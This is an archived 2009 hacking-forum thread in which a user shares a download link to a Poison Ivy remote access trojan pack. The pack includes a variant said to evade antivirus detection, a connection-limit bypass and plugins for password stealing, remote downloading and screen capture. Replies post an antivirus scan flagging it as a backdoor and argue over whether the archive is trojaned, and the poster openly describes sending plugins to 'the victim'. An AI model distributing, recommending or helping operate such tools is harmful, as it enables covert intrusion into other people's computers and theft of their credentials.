+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: Poison Ivy 2.3.2, Modified PI, Plugins for both (/showthread.php?tid=207538)
Poison Ivy 2.3.2, Modified PI, Plugins for both - Neroxan - Dec 17, 2009
We dont really have something like this here Ive noticed...
Anyways, credits to all of this stuff go to various members @ HH minus the original 2.3.2 version.
Included in the rar are as follows.
~Regular 2.3.2 straight from PI mainsite.
~ 2.3.2 With connection limit bypassed (above version can only have 200 connections)
~ Venomous Ivy (by squeezer) I had issues getting this to work but have used it in the past and it removed a lot of detections compared to the normal PI server. Other neat functions for a server builder as well.
Plugins are as follows
~Remote Clipboard Manager
~Remote Web Downloader
~Remote Power Control (shutdown restart sleep)
~Password stealer (various functions supported check to see them)
~O.p screen capture plugin (from PI mainsite)
~Wifi scanner plugin (From PI mainsite)
~Port scanner plugin (from PI mainsite)
~newest public plugin available from someone @ Indetectables, Fun manager (open webpage, open cd tray, fuck with mouse etc...)
These downloads were all checked by many ppl over @ the other site which I got them from and proven to be clean. However I did run across some conficker today that got past my deepfreeze and infected all my .exe files, however the .rar's appear to be clean according to nod32 runtime scanners. Let me know if anything is otherwise and Ill reupload them, if they aint clean I didnt know any different.
http://www.multiupload.com/XRLRFJHFR6
If you enjoy the package a simple thanks is all I ask to bump the thread so that others may find it. Hope it makes some
* - Neroxan - Dec 17, 2009
Okay here are some screenshots.
Credits
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/credit.jpg[/IMG]
remote clipboard
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHclipboardmanager.jpg[/IMG]
remote downloader
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHdownloadmanager.jpg[/IMG]
power control
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHPOWERC.jpg[/IMG]
stealer
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/HHPWSTEALER.jpg[/IMG]
screen capture
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/OPscreencapture.jpg[/IMG]
wifi scanner
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/wifiscanner.jpg[/IMG]
port scanner
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/portscaner.jpg[/IMG]
Fun
[IMG]http://i651.photobucket.com/albums/uu233/Imwyldechylde/PIFUN.jpg[/IMG]
* - Daxxor - Dec 18, 2009
Nice, thanks man. Cerberus is shit, hopefully this one is better.
EDIT:
Wouldn't expect this from a member with 1000+ posts.
File Info
Report generated: 18.12.2009 at 12.04.13 (GMT 1)
Filename: PIpack.rar
File size: 6385430
MD5 Hash: 128d4de328ccf1f7cef18a19d6f85ba5
SHA1 Hash: 57EB8C32F29823A0D4BFE7E445948E3791BF24C6
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 20 on 24
Detections
a-squared - Backdoor.Poisonivy.Q!IK
Avira AntiVir - TR/Crypt.XPACK.Gen
Avast - Win32:Poisonivy-CR [Trj]
AVG - BackDoor.Generic10.EVK
BitDefender - Backdoor.Poisonivy.Q
ClamAV - Trojan.Downloader-24465
Comodo - UnclassifiedMalware
Dr.Web - BackDoor.Poison
Ewido - Backdoor.PoisonIvy.q
F-PROT6 - W32/Backdoor2.DIUF
G-Data - Backdoor.Win32.Poison.qo A
Ikarus T3 - Backdoor.Poisonivy.Q
Kaspersky - Backdoor.Win32.Poison.ymw
McAfee - Generic.dx trojan
NOD32 v3 - multiple threats
Norman - Trojan W32/PoisonIvy.SCW
Panda - -
QuickHeal - Trojan.Agent.irc
Solo Antivirus - -
Sophos - Troj/PoisonI-C
TrendMicro - -
VBA32 - Backdoor.Win32.Poison.qo
VirusBuster - Backdoor.Bisar.N
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
* - aznshadow - Dec 18, 2009
(Dec 18, 2009 03:57 AM)kenzo47 Wrote: Nice, thanks man. Cerberus is shit, hopefully this one is better.
EDIT:
Wouldn't expect this from a member with 1000+ posts.
File Info
Report generated: 18.12.2009 at 12.04.13 (GMT 1)
Filename: PIpack.rar
File size: 6385430
MD5 Hash: 128d4de328ccf1f7cef18a19d6f85ba5
SHA1 Hash: 57EB8C32F29823A0D4BFE7E445948E3791BF24C6
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 20 on 24
Detections
a-squared - Backdoor.Poisonivy.Q!IK
Avira AntiVir - TR/Crypt.XPACK.Gen
Avast - Win32:Poisonivy-CR [Trj]
AVG - BackDoor.Generic10.EVK
BitDefender - Backdoor.Poisonivy.Q
ClamAV - Trojan.Downloader-24465
Comodo - UnclassifiedMalware
Dr.Web - BackDoor.Poison
Ewido - Backdoor.PoisonIvy.q
F-PROT6 - W32/Backdoor2.DIUF
G-Data - Backdoor.Win32.Poison.qo A
Ikarus T3 - Backdoor.Poisonivy.Q
Kaspersky - Backdoor.Win32.Poison.ymw
McAfee - Generic.dx trojan
NOD32 v3 - multiple threats
Norman - Trojan W32/PoisonIvy.SCW
Panda - -
QuickHeal - Trojan.Agent.irc
Solo Antivirus - -
Sophos - Troj/PoisonI-C
TrendMicro - -
VBA32 - Backdoor.Win32.Poison.qo
VirusBuster - Backdoor.Bisar.N
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
Obviously its going to be like this... its a RAT of course its going to be detected.
* - Daxxor - Dec 18, 2009
(Dec 18, 2009 08:49 PM)aznshadow Wrote: Obviously its going to be like this... its a RAT of course its going to be detected.Yeah, but not as a backdoor.
The shit is backdoored.
people don't download.
* - MOSH! - Dec 19, 2009
Ooh fuuk I'm infected :S
* - Enteria - Dec 19, 2009
I test to download this JUST for the plugins.. if u hack me.. i break your face! :)
* - Neroxan - Dec 19, 2009
(Dec 18, 2009 11:54 PM)kenzo47 Wrote: Yeah, but not as a backdoor.
The shit is backdoored.
people don't download.
All of these plugins and the PI clients themselves have been thouroughly examined by many members of many forums and all are safe for use.
Furthermore, Expect ANY member to upload a backdoored piece of software. Because Ive had 1000 posts does not make me trust able. The fact that I try to keep people from getting infected rather than infecting people should make me trusted.
And YOU shouldent be trusting a virus scan to show if something is safe to run or not. There are false detections when things are clean, and no detections when things are not clean. And Anyone can edit the info shown to say no detections if they want.
If you want to test .exe files to see if they are clean or not, look for anubis' website over @ icelabs.
SO everyone has been made this clear with....
These plugins ARE backdoors. You put them into your pi client, and then the pi client sends the backdoor to the victim to use. Without the backdoor dll being sent to the victim that the control dll uses (note there are 2 dlls in each folder for this reason, both are needed to use the plugin) Then the control plugin would have nothing to use and the plugin would be useless. To verify this load one of the plugins and then watch the upload bar when you try to use it with a victims screen opened, youll see the blue upload bar progress as it sends the backdoor plugin to the victim so the plugin will be complete and work as it should.
Anyone with a 4th graders brain should have been able to determine that themselves but its been made clear now so there should be no questions about that any further.
* - DrSponge - Dec 19, 2009
thankk you great plugins :)
* - Neroxan - Dec 19, 2009
(Dec 19, 2009 10:06 AM)live4eva Wrote: thankk you great plugins :)
😠 I cant take credit for the plugins. But you are welcome for posting them here. I thought it may keep some people from having to reigister @ another forum to use them. 😁
* - rs4 - Dec 19, 2009
thanks for share 🤝
* - unfdes - Dec 20, 2009
thank stable 100% :)
* - eneakume - Dec 20, 2009
(Dec 18, 2009 11:54 PM)kenzo47 Wrote: Yeah, but not as a backdoor.
The shit is backdoored.
people don't download.
U AN IDIOT 🤫
* - Santa - Dec 20, 2009
Thanks bro
Will use in the future.
* - Neroxan - Dec 20, 2009
(Dec 20, 2009 08:09 PM)Santa Wrote: Thanks bro
Will use in the future.
Whoo! Santa came and saw me for Christmas!
Glad some people are enjoying the mirror of the plugins.